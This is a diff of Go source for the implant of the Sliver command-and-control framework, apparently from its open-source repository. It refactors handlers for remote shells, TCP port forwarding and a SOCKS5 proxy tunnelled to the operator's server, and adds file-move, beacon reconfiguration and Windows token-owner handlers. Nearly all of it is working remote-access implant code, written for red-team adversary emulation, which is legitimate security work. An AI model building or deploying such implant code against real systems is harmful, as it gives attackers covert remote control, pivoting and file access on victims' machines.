log.Printf("Update reconnect interval called: %d\n", reconnectInterval)
// {{end}}
// Set the reconnect interval value
transports.SetReconnectInterval(reconnectInterval)
recIntervalResp := &sliverpb.ReconnectInterval{}
recIntervalResp.Response = &commonpb.Response{}
if err != nil {
recIntervalResp.Response.Err = err.Error()
if reconfigReq.ReconnectInterval != 0 {
transports.SetReconnectInterval(reconfigReq.ReconnectInterval)
}
data, err = proto.Marshal(recIntervalResp)
// {{if .Config.IsBeacon}}
if reconfigReq.BeaconInterval != 0 {
transports.SetInterval(reconfigReq.BeaconInterval)
}
if reconfigReq.BeaconJitter != 0 {
transports.SetJitter(reconfigReq.BeaconJitter)
}
// {{end}}
reconfigResp := &sliverpb.Reconfigure{}
data, err = proto.Marshal(reconfigResp)
resp(data, err)
}
@@ -561,6 +593,9 @@ func reconnectIntervalHandler(data []byte, resp RPCResponse) {
func gzipWrite(w io.Writer, data []byte) error {
gw, err := gzip.NewWriterLevel(w, gzip.BestSpeed)
if err != nil {
return err
}
defer gw.Close()
gw.Write(data)
return err
@@ -580,12 +615,58 @@ func gzipRead(data []byte) ([]byte, error) {
return buf.Bytes(), nil
}
func standarizeArchiveFileName(path string) string {
// Change all backslashes to forward slashes
var standardFilePath string = strings.ReplaceAll(path, "\\", "/")
/*
Remove the volume / root from the directory
path. This makes it so that files on the
system where the archive is extracted to
will not be clobbered.
Tried with filepath.VolumeName, but that function
does not work reliably with Windows paths
*/
if strings.HasPrefix(standardFilePath, "//") {
// If this a UNC path, filepath.Rel is not going to work
return standardFilePath[2:]
} else {
// Calculate a path relative to the root
pathParts := strings.SplitN(standardFilePath, "/", 2)
if len(pathParts) < 2 {
// Then something is wrong with this path
return standardFilePath
}
basePath := pathParts[0]
fileRelPath := pathParts[1]
if basePath == "" {
// If base path is blank, that means it started with / and / is the root
return fileRelPath
} else {
/*
Then this is almost certainly Windows, and we will set the archive up
so that it preserves the path but without the colon.
Something like:
c/windows/system32/file.whatever
Colons are not legal in Windows filenames, so let's get rid of them.
*/
basePath = strings.ReplaceAll(basePath, ":", "")
basePath = strings.ToLower(basePath)
return basePath + "/" + fileRelPath
}
}
}
func compressDir(path string, buf io.Writer) error {
zipWriter := gzip.NewWriter(buf)
tarWriter := tar.NewWriter(zipWriter)
filepath.Walk(path, func(file string, fi os.FileInfo, err error) error {
fileName := file
fileName := standarizeArchiveFileName(file)
// If the file is a SymLink replace fileInfo and path with the symlink destination.
if fi.Mode()&os.ModeSymlink == os.ModeSymlink {
file, err = filepath.EvalSymlinks(file)
+3 -2
View File
@@ -37,6 +37,7 @@ var (
pb.MsgPwdReq: pwdHandler,
pb.MsgRmReq: rmHandler,
pb.MsgMkdirReq: mkdirHandler,
pb.MsgMvReq: mvHandler,
pb.MsgIfconfigReq: ifconfigHandler,
pb.MsgExecuteReq: executeHandler,
pb.MsgEnvReq: getEnvHandler,
@@ -48,8 +49,8 @@ var (
pb.MsgSideloadReq: sideloadHandler,
pb.MsgReconnectIntervalReq: reconnectIntervalHandler,
pb.MsgSSHCommandReq: runSSHCommandHandler,
pb.MsgReconfigureReq: reconfigureHandler,
pb.MsgSSHCommandReq: runSSHCommandHandler,
// Extensions
pb.MsgRegisterExtensionReq: registerExtensionHandler,
+14 -13
View File
@@ -32,19 +32,20 @@ import (
var (
genericHandlers = map[uint32]RPCHandler{
sliverpb.MsgPing: pingHandler,
sliverpb.MsgLsReq: dirListHandler,
sliverpb.MsgDownloadReq: downloadHandler,
sliverpb.MsgUploadReq: uploadHandler,
sliverpb.MsgCdReq: cdHandler,
sliverpb.MsgPwdReq: pwdHandler,
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgExecuteReq: executeHandler,
sliverpb.MsgSetEnvReq: setEnvHandler,
sliverpb.MsgEnvReq: getEnvHandler,
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
sliverpb.MsgReconnectIntervalReq: reconnectIntervalHandler,
sliverpb.MsgPing: pingHandler,
sliverpb.MsgLsReq: dirListHandler,
sliverpb.MsgDownloadReq: downloadHandler,
sliverpb.MsgUploadReq: uploadHandler,
sliverpb.MsgCdReq: cdHandler,
sliverpb.MsgPwdReq: pwdHandler,
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgMvReq: mvHandler,
sliverpb.MsgExecuteReq: executeHandler,
sliverpb.MsgSetEnvReq: setEnvHandler,
sliverpb.MsgEnvReq: getEnvHandler,
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
sliverpb.MsgReconfigureReq: reconfigureHandler,
}
)
+4 -2
View File
@@ -34,6 +34,7 @@ var (
sliverpb.MsgPwdReq: pwdHandler,
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgMvReq: mvHandler,
sliverpb.MsgTaskReq: taskHandler,
sliverpb.MsgIfconfigReq: ifconfigHandler,
sliverpb.MsgExecuteReq: executeHandler,
@@ -46,8 +47,9 @@ var (
sliverpb.MsgNetstatReq: netstatHandler,
sliverpb.MsgSideloadReq: sideloadHandler,
sliverpb.MsgReconnectIntervalReq: reconnectIntervalHandler,
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
sliverpb.MsgReconfigureReq: reconfigureHandler,
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
sliverpb.MsgProcessDumpReq: dumpHandler,
// {{if .Config.WGc2Enabled}}
// Wireguard specific
+37 -21
View File
@@ -65,6 +65,7 @@ var (
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
sliverpb.MsgExecuteTokenReq: executeTokenHandler,
sliverpb.MsgGetPrivsReq: getPrivsHandler,
sliverpb.MsgCurrentTokenOwnerReq: currentTokenOwnerHandler,
// Platform specific
sliverpb.MsgIfconfigReq: ifconfigHandler,
@@ -82,17 +83,18 @@ var (
sliverpb.MsgRegistryListValuesReq: regValuesListHandler,
// Generic
sliverpb.MsgPing: pingHandler,
sliverpb.MsgLsReq: dirListHandler,
sliverpb.MsgDownloadReq: downloadHandler,
sliverpb.MsgUploadReq: uploadHandler,
sliverpb.MsgCdReq: cdHandler,
sliverpb.MsgPwdReq: pwdHandler,
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgExecuteReq: executeHandler,
sliverpb.MsgReconnectIntervalReq: reconnectIntervalHandler,
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
sliverpb.MsgPing: pingHandler,
sliverpb.MsgLsReq: dirListHandler,
sliverpb.MsgDownloadReq: downloadHandler,
sliverpb.MsgUploadReq: uploadHandler,
sliverpb.MsgCdReq: cdHandler,
sliverpb.MsgPwdReq: pwdHandler,
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMvReq: mvHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgExecuteReq: executeHandler,
sliverpb.MsgReconfigureReq: reconfigureHandler,
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
// Extensions
sliverpb.MsgRegisterExtensionReq: registerExtensionHandler,
@@ -176,6 +178,26 @@ func revToSelfHandler(_ []byte, resp RPCResponse) {
resp(data, err)
}
func currentTokenOwnerHandler(data []byte, resp RPCResponse) {
tokOwnReq := &sliverpb.CurrentTokenOwnerReq{}
err := proto.Unmarshal(data, tokOwnReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v", err)
// {{end}}
return
}
getCT := &sliverpb.CurrentTokenOwner{}
owner, err := priv.CurrentTokenOwner()
if err != nil {
getCT.Response = &commonpb.Response{Err: err.Error()}
}
getCT.Output = owner
data, err = proto.Marshal(getCT)
resp(data, err)
}
func getsystemHandler(data []byte, resp RPCResponse) {
getSysReq := &sliverpb.InvokeGetSystemReq{}
err := proto.Unmarshal(data, getSysReq)
@@ -602,20 +624,17 @@ func getPrivsHandler(data []byte, resp RPCResponse) {
func registerExtensionHandler(data []byte, resp RPCResponse) {
registerReq := &sliverpb.RegisterExtensionReq{}
err := proto.Unmarshal(data, registerReq)
if err != nil {
return
}
ext := extension.NewWindowsExtension(registerReq.Data, registerReq.Name, registerReq.OS, registerReq.Init)
extension.Add(ext)
err = ext.Load()
registerResp := &sliverpb.RegisterExtension{
Response: &commonpb.Response{},
}
registerResp := &sliverpb.RegisterExtension{Response: &commonpb.Response{}}
if err != nil {
registerResp.Response.Err = err.Error()
} else {
extension.Add(ext)
}
data, err = proto.Marshal(registerResp)
resp(data, err)
@@ -623,15 +642,12 @@ func registerExtensionHandler(data []byte, resp RPCResponse) {
func callExtensionHandler(data []byte, resp RPCResponse) {
callReq := &sliverpb.CallExtensionReq{}
err := proto.Unmarshal(data, callReq)
if err != nil {
return
}
callResp := &sliverpb.CallExtension{
Response: &commonpb.Response{},
}
callResp := &sliverpb.CallExtension{Response: &commonpb.Response{}}
gotOutput := false
err = extension.Run(callReq.Name, callReq.Export, callReq.Args, func(out []byte) {
gotOutput = true
@@ -111,6 +111,7 @@ func pivotStopListenerHandler(envelope *pb.Envelope, connection *transports.Conn
return
}
pivots.StopListener(req.ID)
pivots.RemoveListener(req.ID)
connection.Send <- &pb.Envelope{
ID: envelope.ID,
Data: []byte{},
+4 -4
View File
@@ -174,7 +174,7 @@ func ifconfig() *sliverpb.Ifconfig {
}
func screenshotHandler(data []byte, resp RPCResponse) {
sc := &sliverpb.Screenshot{}
sc := &sliverpb.ScreenshotReq{}
err := proto.Unmarshal(data, sc)
if err != nil {
// {{if .Config.Debug}}
@@ -185,9 +185,9 @@ func screenshotHandler(data []byte, resp RPCResponse) {
// {{if .Config.Debug}}
log.Printf("Screenshot Request")
// {{end}}
sc.Data = screen.Screenshot()
data, err = proto.Marshal(sc)
scRes := &sliverpb.Screenshot{}
scRes.Data = screen.Screenshot()
data, err = proto.Marshal(scRes)
resp(data, err)
}
+5 -1
View File
@@ -22,6 +22,7 @@ package handlers
import (
"os"
"time"
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -54,6 +55,9 @@ func killHandler(data []byte, _ *transports.Connection) error {
// {{if .Config.Debug}}
log.Println("Let's exit!")
// {{end}}
os.Exit(0)
go func() {
time.Sleep(time.Second)
os.Exit(0)
}()
return nil
}
+6 -448
View File
@@ -19,36 +19,24 @@ package handlers
*/
import (
"context"
"fmt"
"io"
"net"
"sync"
"time"
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/shell"
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/things-go/go-socks5"
"google.golang.org/protobuf/proto"
)
var (
tunnelHandlers = map[uint32]TunnelHandler{
sliverpb.MsgShellReq: shellReqHandler,
sliverpb.MsgPortfwdReq: portfwdReqHandler,
sliverpb.MsgSocksData: socksReqHandler,
sliverpb.MsgShellReq: tunnel_handlers.ShellReqHandler,
sliverpb.MsgPortfwdReq: tunnel_handlers.PortfwdReqHandler,
sliverpb.MsgSocksData: tunnel_handlers.SocksReqHandler,
sliverpb.MsgTunnelData: tunnelDataHandler,
sliverpb.MsgTunnelClose: tunnelCloseHandler,
sliverpb.MsgTunnelData: tunnel_handlers.TunnelDataHandler,
sliverpb.MsgTunnelClose: tunnel_handlers.TunnelCloseHandler,
}
// TunnelID -> Sequence Number -> Data
tunnelDataCache = map[uint64]map[uint64]*sliverpb.TunnelData{}
)
// GetTunnelHandlers - Returns a map of tunnel handlers
@@ -58,433 +46,3 @@ func GetTunnelHandlers() map[uint32]TunnelHandler {
// {{end}}
return tunnelHandlers
}
func tunnelCloseHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
tunnelClose := &sliverpb.TunnelData{
Closed: true,
}
proto.Unmarshal(envelope.Data, tunnelClose)
tunnel := connection.Tunnel(tunnelClose.TunnelID)
if tunnel != nil {
// {{if .Config.Debug}}
log.Printf("[tunnel] Closing tunnel with id %d", tunnel.ID)
// {{end}}
connection.RemoveTunnel(tunnel.ID)
tunnel.Reader.Close()
tunnel.Writer.Close()
delete(tunnelDataCache, tunnel.ID)
}
}
func tunnelDataHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
tunnelData := &sliverpb.TunnelData{}
proto.Unmarshal(envelope.Data, tunnelData)
tunnel := connection.Tunnel(tunnelData.TunnelID)
if tunnel != nil {
if _, ok := tunnelDataCache[tunnelData.TunnelID]; !ok {
tunnelDataCache[tunnelData.TunnelID] = map[uint64]*sliverpb.TunnelData{}
}
// Since we have no guarantees that we will receive tunnel data in the correct order, we need
// to ensure we write the data back to the reader in the correct order. The server will ensure
// that TunnelData protobuf objects are numbered in the correct order using the Sequence property.
// Similarly we ensure that any data we write-back to the server is also numbered correctly. To
// reassemble the data, we just dump it into the cache and then advance the writer until we no longer
// have sequential data. So we can receive `n` number of incorrectly ordered Protobuf objects and
// correctly write them back to the reader.
// {{if .Config.Debug}}
log.Printf("[tunnel] Cache tunnel %d (seq: %d)", tunnel.ID, tunnelData.Sequence)
// {{end}}
//Added a thread lock here because the incrementing of the ReadSequence, adding/deleting things from a shared cache,
//and then making decisions based on the current size of the cache by multiple threads can cause race conditions errors
var l sync.Mutex
l.Lock()
tunnelDataCache[tunnel.ID][tunnelData.Sequence] = tunnelData
// NOTE: The read/write semantics can be a little mind boggling, just remember we're reading
// from the server and writing to the tunnel's reader (e.g. stdout), so that's why ReadSequence
// is used here whereas WriteSequence is used for data written back to the server
// Go through cache and write all sequential data to the reader
cache := tunnelDataCache[tunnel.ID]
for recv, ok := cache[tunnel.ReadSequence]; ok; recv, ok = cache[tunnel.ReadSequence] {
// {{if .Config.Debug}}
log.Printf("[tunnel] Write %d bytes to tunnel %d (read seq: %d)", len(recv.Data), recv.TunnelID, recv.Sequence)
// {{end}}
tunnel.Writer.Write(recv.Data)
// Delete the entry we just wrote from the cache
delete(cache, tunnel.ReadSequence)
tunnel.ReadSequence++ // Increment sequence counter
}
//If cache is building up it probably means a msg was lost and the server is currently hung waiting for it.
//Send a Resend packet to have the msg resent from the cache
if len(cache) > 3 {
data, err := proto.Marshal(&sliverpb.TunnelData{
Sequence: tunnel.WriteSequence, // The tunnel write sequence
Ack: tunnel.ReadSequence,
Resend: true,
TunnelID: tunnel.ID,
Data: []byte{},
})
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] Failed to marshal protobuf %s", err)
// {{end}}
} else {
// {{if .Config.Debug}}
log.Printf("[tunnel] Requesting resend of tunnelData seq: %d", tunnel.ReadSequence)
// {{end}}
connection.RequestResend(data)
}
}
//Unlock
l.Unlock()
} else {
// {{if .Config.Debug}}
log.Printf("[tunnel] Received data for nil tunnel %d", tunnelData.TunnelID)
// {{end}}
}
}
// tunnelWriter - Sends data back to the server based on data read()
// I know the reader/writer stuff is a little hard to keep track of
type tunnelWriter struct {
tun *transports.Tunnel
conn *transports.Connection
}
func (tw tunnelWriter) Write(data []byte) (int, error) {
n := len(data)
data, err := proto.Marshal(&sliverpb.TunnelData{
Sequence: tw.tun.WriteSequence, // The tunnel write sequence
Ack: tw.tun.ReadSequence,
TunnelID: tw.tun.ID,
Data: data,
})
// {{if .Config.Debug}}
log.Printf("[tunnelWriter] Write %d bytes (write seq: %d) ack: %d", n, tw.tun.WriteSequence, tw.tun.ReadSequence)
// {{end}}
tw.tun.WriteSequence++ // Increment write sequence
tw.conn.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelData,
Data: data,
}
return n, err
}
func shellReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
shellReq := &sliverpb.ShellReq{}
err := proto.Unmarshal(envelope.Data, shellReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] Failed to unmarshal protobuf %s", err)
// {{end}}
return
}
shellPath := shell.GetSystemShellPath(shellReq.Path)
systemShell := shell.StartInteractive(shellReq.TunnelID, shellPath, shellReq.EnablePTY)
if systemShell == nil {
// {{if .Config.Debug}}
log.Printf("[shell] Failed to get system shell")
// {{end}}
return
}
go systemShell.StartAndWait()
// Wait for the process to actually spawn
for {
if systemShell.Command.Process == nil {
// {{if .Config.Debug}}
log.Printf("[shell] Waiting for process to spawn ...")
// {{end}}
time.Sleep(time.Second)
} else {
break
}
}
tunnel := &transports.Tunnel{
ID: shellReq.TunnelID,
Reader: systemShell.Stdout,
Writer: systemShell.Stdin,
}
connection.AddTunnel(tunnel)
shellResp, _ := proto.Marshal(&sliverpb.Shell{
Pid: uint32(systemShell.Command.Process.Pid),
Path: shellReq.Path,
TunnelID: shellReq.TunnelID,
})
connection.Send <- &sliverpb.Envelope{
ID: envelope.ID,
Data: shellResp,
}
// Cleanup function with arguments
cleanup := func(reason string) {
// {{if .Config.Debug}}
log.Printf("[shell] Closing tunnel %d (%s)", tunnel.ID, reason)
// {{end}}
connection.RemoveTunnel(tunnel.ID)
tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
Closed: true,
TunnelID: tunnel.ID,
})
connection.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelClose,
Data: tunnelClose,
}
}
go func() {
for {
tWriter := tunnelWriter{
tun: tunnel,
conn: connection,
}
_, err := io.Copy(tWriter, tunnel.Reader)
if systemShell.Command.ProcessState != nil {
if systemShell.Command.ProcessState.Exited() {
cleanup("process terminated")
return
}
}
if err == io.EOF {
cleanup("EOF")
return
}
}
}()
// {{if .Config.Debug}}
log.Printf("[shell] Started shell with tunnel ID %d", tunnel.ID)
// {{end}}
}
func portfwdReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
portfwdReq := &sliverpb.PortfwdReq{}
err := proto.Unmarshal(envelope.Data, portfwdReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[portfwd] Failed to unmarshal protobuf %s", err)
// {{end}}
return
}
var defaultDialer = new(net.Dialer)
// TODO: Configurable context
remoteAddress := fmt.Sprintf("%s:%d", portfwdReq.Host, portfwdReq.Port)
// {{if .Config.Debug}}
log.Printf("[portfwd] Dialing -> %s", remoteAddress)
// {{end}}
dst, err := defaultDialer.DialContext(context.Background(), "tcp", remoteAddress)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[portfwd] Failed to dial remote address %s", err)
// {{end}}
return
}
if conn, ok := dst.(*net.TCPConn); ok {
// {{if .Config.Debug}}
log.Printf("[portfwd] Configuring keep alive")
// {{end}}
conn.SetKeepAlive(true)
// TODO: Make KeepAlive configurable
conn.SetKeepAlivePeriod(30 * time.Second)
}
// Add tunnel
tunnel := &transports.Tunnel{
ID: portfwdReq.TunnelID,
Reader: dst,
Writer: dst,
}
connection.AddTunnel(tunnel)
// Send portfwd response
portfwdResp, _ := proto.Marshal(&sliverpb.Portfwd{
Port: portfwdReq.Port,
Host: portfwdReq.Host,
Protocol: sliverpb.PortFwdProtoTCP,
TunnelID: portfwdReq.TunnelID,
})
connection.Send <- &sliverpb.Envelope{
ID: envelope.ID,
Data: portfwdResp,
}
cleanup := func(reason error) {
// {{if .Config.Debug}}
log.Printf("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
// {{end}}
connection.RemoveTunnel(tunnel.ID)
tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
Closed: true,
TunnelID: tunnel.ID,
})
connection.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelClose,
Data: tunnelClose,
}
}
go func() {
tWriter := tunnelWriter{
tun: tunnel,
conn: connection,
}
_, err := io.Copy(tWriter, tunnel.Reader)
cleanup(err)
}()
}
type socksTunnelPool struct {
tunnels map[uint64]chan []byte
readMutex *sync.Mutex
writeMutex *sync.Mutex
Sequence map[uint64]uint64
}
var socksTunnels = socksTunnelPool{
tunnels: map[uint64]chan []byte{},
readMutex: &sync.Mutex{},
writeMutex: &sync.Mutex{},
Sequence: map[uint64]uint64{},
}
var socksServer *socks5.Server
func socksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
socksData := &sliverpb.SocksData{}
err := proto.Unmarshal(envelope.Data, socksData)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[socks] Failed to unmarshal protobuf %s", err)
// {{end}}
return
}
if socksData.Data == nil {
return
}
// {{if .Config.Debug}}
log.Printf("[socks] User to Client to (server to implant) Data Sequence %d, Data Size %d\n", socksData.Sequence, len(socksData.Data))
// {{end}}
if socksData.Username != "" && socksData.Password != "" {
cred := socks5.StaticCredentials{
socksData.Username: socksData.Password,
}
auth := socks5.UserPassAuthenticator{Credentials: cred}
socksServer = socks5.NewServer(
socks5.WithAuthMethods([]socks5.Authenticator{auth}),
)
} else {
socksServer = socks5.NewServer()
}
// {{if .Config.Debug}}
log.Printf("[socks] Server: %v", socksServer)
// {{end}}
// init tunnel
if _, ok := socksTunnels.tunnels[socksData.TunnelID]; !ok {
socksTunnels.tunnels[socksData.TunnelID] = make(chan []byte, 10)
socksTunnels.tunnels[socksData.TunnelID] <- socksData.Data
err := socksServer.ServeConn(&socks{stream: socksData, conn: connection})
if err != nil {
return
}
} else {
socksTunnels.tunnels[socksData.TunnelID] <- socksData.Data
}
}
var _ net.Conn = &socks{}
type socks struct {
stream *sliverpb.SocksData
conn *transports.Connection
// mux sync.Mutex
Sequence uint64
}
func (s *socks) Read(b []byte) (n int, err error) {
socksTunnels.readMutex.Lock()
channel := socksTunnels.tunnels[s.stream.TunnelID]
socksTunnels.readMutex.Unlock()
data := <-channel
return copy(b, data), nil
}
func (s *socks) Write(b []byte) (n int, err error) {
socksTunnels.writeMutex.Lock()
data, err := proto.Marshal(&sliverpb.SocksData{
TunnelID: s.stream.TunnelID,
Data: b,
Sequence: s.Sequence,
})
if !s.conn.IsOpen {
return 0, err
}
// {{if .Config.Debug}}
log.Printf("[socks] (implant to Server) to Client to User Data Sequence %d, Data Size %d Data %v\n", s.Sequence, len(b), b)
// {{end}}
s.conn.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgSocksData,
Data: data,
}
socksTunnels.writeMutex.Unlock()
s.Sequence++
return len(b), err
}
func (s *socks) Close() error {
close(socksTunnels.tunnels[s.stream.TunnelID])
delete(socksTunnels.tunnels, s.stream.TunnelID)
data, err := proto.Marshal(&sliverpb.SocksData{
TunnelID: s.stream.TunnelID,
CloseConn: true,
})
if !s.conn.IsOpen {
return err
}
s.conn.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgSocksData,
Data: data,
}
return err
}
func (c *socks) LocalAddr() net.Addr {
return nil
}
func (c *socks) RemoteAddr() net.Addr {
return &net.IPAddr{
IP: net.IPv4(127, 0, 0, 1),
Zone: "",
}
}
// TODO impl
func (c *socks) SetDeadline(t time.Time) error {
return nil
}
// TODO impl
func (c *socks) SetReadDeadline(t time.Time) error {
return nil
}
// TODO impl
func (c *socks) SetWriteDeadline(t time.Time) error {
return nil
}
@@ -0,0 +1,33 @@
package tunnel_handlers
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
func TunnelCloseHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
tunnelClose := &sliverpb.TunnelData{
Closed: true,
}
proto.Unmarshal(envelope.Data, tunnelClose)
tunnel := connection.Tunnel(tunnelClose.TunnelID)
if tunnel != nil {
// {{if .Config.Debug}}
log.Printf("[tunnel] Closing tunnel with id %d", tunnel.ID)
// {{end}}
connection.RemoveTunnel(tunnel.ID)
tunnel.Reader.Close()
tunnel.Writer.Close()
tunnelDataCache.DeleteTun(tunnel.ID)
} else {
// {{if .Config.Debug}}
log.Printf("[tunnel][tunnelCloseHandler] Received close message for unknown tunnel id %d", tunnelClose.TunnelID)
// {{end}}
}
}
@@ -0,0 +1,66 @@
package tunnel_handlers
import (
"sync"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
var (
// TunnelID -> Sequence Number -> Data
tunnelDataCache = dataCache{mutex: &sync.RWMutex{}, cache: map[uint64]map[uint64]*sliverpb.TunnelData{}}
)
type dataCache struct {
mutex *sync.RWMutex
cache map[uint64]map[uint64]*sliverpb.TunnelData
}
func (c *dataCache) Add(tunnelID uint64, sequence uint64, tunnelData *sliverpb.TunnelData) {
c.mutex.Lock()
defer c.mutex.Unlock()
if _, ok := c.cache[tunnelID]; !ok {
c.cache[tunnelID] = map[uint64]*sliverpb.TunnelData{}
}
c.cache[tunnelID][sequence] = tunnelData
}
func (c *dataCache) Get(tunnelID uint64, sequence uint64) (*sliverpb.TunnelData, bool) {
c.mutex.RLock()
defer c.mutex.RUnlock()
if _, ok := c.cache[tunnelID]; !ok {
return nil, false
}
val, ok := c.cache[tunnelID][sequence]
return val, ok
}
func (c *dataCache) DeleteTun(tunnelID uint64) {
c.mutex.Lock()
defer c.mutex.Unlock()
delete(c.cache, tunnelID)
}
func (c *dataCache) DeleteSeq(tunnelID uint64, sequence uint64) {
c.mutex.Lock()
defer c.mutex.Unlock()
if _, ok := c.cache[tunnelID]; !ok {
return
}
delete(c.cache[tunnelID], sequence)
}
func (c *dataCache) Len(tunnelID uint64) int {
c.mutex.RLock()
defer c.mutex.RUnlock()
return len(c.cache[tunnelID])
}
@@ -0,0 +1,81 @@
package tunnel_handlers
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
func TunnelDataHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
tunnelData := &sliverpb.TunnelData{}
proto.Unmarshal(envelope.Data, tunnelData)
tunnel := connection.Tunnel(tunnelData.TunnelID)
if tunnel != nil {
// Since we have no guarantees that we will receive tunnel data in the correct order, we need
// to ensure we write the data back to the reader in the correct order. The server will ensure
// that TunnelData protobuf objects are numbered in the correct order using the Sequence property.
// Similarly we ensure that any data we write-back to the server is also numbered correctly. To
// reassemble the data, we just dump it into the cache and then advance the writer until we no longer
// have sequential data. So we can receive `n` number of incorrectly ordered Protobuf objects and
// correctly write them back to the reader.
// {{if .Config.Debug}}
log.Printf("[tunnel] Cache tunnel %d (seq: %d)", tunnel.ID, tunnelData.Sequence)
// {{end}}
tunnelDataCache.Add(tunnel.ID, tunnelData.Sequence, tunnelData)
// NOTE: The read/write semantics can be a little mind boggling, just remember we're reading
// from the server and writing to the tunnel's reader (e.g. stdout), so that's why ReadSequence
// is used here whereas WriteSequence is used for data written back to the server
// Go through cache and write all sequential data to the reader
for recv, ok := tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()); ok; recv, ok = tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()) {
// {{if .Config.Debug}}
log.Printf("[tunnel] Write %d bytes to tunnel %d (read seq: %d)", len(recv.Data), recv.TunnelID, recv.Sequence)
// {{end}}
tunnel.Writer.Write(recv.Data)
// Delete the entry we just wrote from the cache
tunnelDataCache.DeleteSeq(tunnel.ID, tunnel.ReadSequence())
tunnel.IncReadSequence() // Increment sequence counter
// {{if .Config.Debug}}
log.Printf("[message just received] %v", tunnelData)
// {{end}}
}
//If cache is building up it probably means a msg was lost and the server is currently hung waiting for it.
//Send a Resend packet to have the msg resent from the cache
if tunnelDataCache.Len(tunnel.ID) > 3 {
data, err := proto.Marshal(&sliverpb.TunnelData{
Sequence: tunnel.WriteSequence(), // The tunnel write sequence
Ack: tunnel.ReadSequence(),
Resend: true,
TunnelID: tunnel.ID,
Data: []byte{},
})
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] Failed to marshal protobuf %s", err)
// {{end}}
} else {
// {{if .Config.Debug}}
log.Printf("[tunnel] Requesting resend of tunnelData seq: %d", tunnel.ReadSequence())
// {{end}}
connection.RequestResend(data)
}
}
} else {
// {{if .Config.Debug}}
log.Printf("[tunnel] Received data for nil tunnel %d", tunnelData.TunnelID)
log.Printf("[message just transfered] %v", tunnelData)
// {{end}}
}
}
@@ -0,0 +1,112 @@
package tunnel_handlers
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"context"
"fmt"
"io"
"net"
"time"
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
func PortfwdReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
portfwdReq := &sliverpb.PortfwdReq{}
err := proto.Unmarshal(envelope.Data, portfwdReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[portfwd] Failed to unmarshal protobuf %s", err)
// {{end}}
return
}
var defaultDialer = new(net.Dialer)
// TODO: Configurable context
remoteAddress := fmt.Sprintf("%s:%d", portfwdReq.Host, portfwdReq.Port)
// {{if .Config.Debug}}
log.Printf("[portfwd] Dialing -> %s", remoteAddress)
// {{end}}
ctx, cancelContext := context.WithCancel(context.Background())
dst, err := defaultDialer.DialContext(ctx, "tcp", remoteAddress)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[portfwd] Failed to dial remote address %s", err)
// {{end}}
cancelContext()
return
}
if conn, ok := dst.(*net.TCPConn); ok {
// {{if .Config.Debug}}
log.Printf("[portfwd] Configuring keep alive")
// {{end}}
conn.SetKeepAlive(true)
// TODO: Make KeepAlive configurable
conn.SetKeepAlivePeriod(30 * time.Second)
}
// Add tunnel
// {{if .Config.Debug}}
log.Printf("[portfwd] Creating tcp tunnel")
// {{end}}
tunnel := transports.NewTunnel(
portfwdReq.TunnelID,
dst,
dst,
)
connection.AddTunnel(tunnel)
// Send portfwd response
portfwdResp, _ := proto.Marshal(&sliverpb.Portfwd{
Port: portfwdReq.Port,
Host: portfwdReq.Host,
Protocol: sliverpb.PortFwdProtoTCP,
TunnelID: portfwdReq.TunnelID,
})
